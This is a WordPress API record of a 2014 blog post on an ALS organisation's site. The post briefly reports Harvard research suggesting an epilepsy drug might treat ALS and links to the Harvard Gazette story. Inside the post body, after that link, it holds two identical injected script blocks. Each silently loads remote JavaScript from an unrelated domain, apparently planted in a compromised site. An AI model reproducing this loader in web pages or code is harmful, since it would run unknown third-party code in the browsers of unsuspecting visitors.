{"id":444,"date":"2014-06-30T10:31:10","date_gmt":"2014-06-30T10:31:10","guid":{"rendered":"http:\/\/www.ta-als.org\/?p=444"},"modified":"2014-06-30T10:31:10","modified_gmt":"2014-06-30T10:31:10","slug":"new-hope-for-treating-als","status":"publish","type":"post","link":"https:\/\/www.ta-als.org\/?p=444","title":{"rendered":"New Hope for Treating ALS"},"content":{"rendered":"<p>Harvard stem cell scientists have discovered that a recently approved medication for epilepsy might be a meaningful treatment for amyotrophic lateral sclerosis (ALS), also known as Lou Gehrig\u2019s disease, a uniformly fatal neurodegenerative disorder. The researchers are now collaborating with Massachusetts General Hospital (MGH) to design an initial clinical trial testing the safety of the treatment in ALS patients.<\/p>\n<p>The investigators all caution that a great deal of work needs to be done to assure the safety and efficacy of the treatment in ALS patients before physicians should start offering it.<\/p>\n<p>The entire paper can be read at <a title=\"New Hope for Treating ALS\" href=\"http:\/\/news.harvard.edu\/gazette\/story\/2014\/04\/new-hope-for-treating-als\/\" target=\"blank\"><span style=\"text-decoration: underline;\">New Hope for Treating ALS &#8211; Harvard Gazette<\/span><\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Harvard stem cell scientists have discovered that a recently approved medication for epilepsy might be a meaningful treatment for amyotrophic lateral sclerosis (ALS), also known as Lou Gehrig\u2019s disease, a uniformly fatal neurodegenerative disorder. The researchers are now collaborating with Massachusetts General Hospital (MGH) to design an initial clinical trial testing the safety of the [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":446,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[2],"tags":[],"class_list":["post-444","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/posts\/444","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=444"}],"version-history":[{"count":0,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/posts\/444\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/"}],"wp:attachment":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=444"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=444"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=444"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}